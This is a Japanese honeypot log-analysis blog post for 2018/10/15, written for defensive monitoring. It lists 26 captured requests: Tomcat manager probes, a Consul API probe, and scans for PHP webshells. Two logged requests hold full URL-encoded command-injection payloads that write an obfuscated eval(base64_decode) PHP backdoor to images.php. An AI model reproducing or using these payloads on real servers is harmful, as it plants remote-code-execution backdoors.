ハニーポットのログ分析（2018/10/15）

WOWhoneypotの2018/10/15（月）　(運用132日目)の簡易分析です。
本日の総アクセス件数は 26件です。また少ないです…。

・（新規）「GET /v1/agent/self」

以下のページで「GET /v1/agent/self」が引っかかりました。consulというツールによるアクセス？のようです。

https://github.com/hashicorp/consul/blob/master/api/agent.go

以下が全アクセスログです。

18	2018-10-15	種別	リクエスト
18	2018-10-15	アクセス	GET /
2	2018-10-15	Tomcat管理ページへのブルートフォース攻撃	GET /manager/html
1	2018-10-15	phpのWebShell設置の調査	POST /images.php
1	2018-10-15	phpのWebShell設置の調査	POST /cmx.php
1	2018-10-15	調査	HEAD /
1	2018-10-15	consulによる調査	GET /v1/agent/self
1	2018-10-15	phpのWebShell設置の調査	GET /cmx.php?cmd=echo+%5E%3C%3Fphp+%24func%3D%27c%27.%27r%27.%27e%27.%27a%27.%27t%27.%27e%27.%27_%27.%27f%27.%27u%27.%27n%27.%27c%27.%27t%27.%27i%27.%27o%27.%27n%27%3B%24test%3D%24func%28%27%24x%27%2C%27e%27.%27v%27.%27a%27.%27l%27.%27%28b%27.%27a%27.%27s%27.%27e%27.%276%27.%274%27.%27_%27.%27d%27.%27e%27.%27c%27.%27o%27.%27d%27.%27e%28%24x%29%29%3B%27%29%3B%24test%28%27QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ%3D%3D%27%29%3B+%3F%5E%3E+%3Eimages.php+%26+echo+Hello%2C+Peppa%21
1	2018-10-15	phpのWebShell設置の調査	GET /cmx.php?cmd=echo+%22%3C%3Fphp+%5C%24func%3D%27c%27.%27r%27.%27e%27.%27a%27.%27t%27.%27e%27.%27_%27.%27f%27.%27u%27.%27n%27.%27c%27.%27t%27.%27i%27.%27o%27.%27n%27%3B%5C%24test%3D%5C%24func%28%27%5C%24x%27%2C%27e%27.%27v%27.%27a%27.%27l%27.%27%28b%27.%27a%27.%27s%27.%27e%27.%276%27.%274%27.%27_%27.%27d%27.%27e%27.%27c%27.%27o%27.%27d%27.%27e%28%5C%24x%29%29%3B%27%29%3B%5C%24test%28%27QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ%3D%3D%27%29%3B+%3F%3E%22+%3Eimages.php+%26+echo+Hello%2C+Peppa%21

本日のドメイン名でのアクセスは以下です。

1 GET /

本日のハンティングログはありません。

以上です。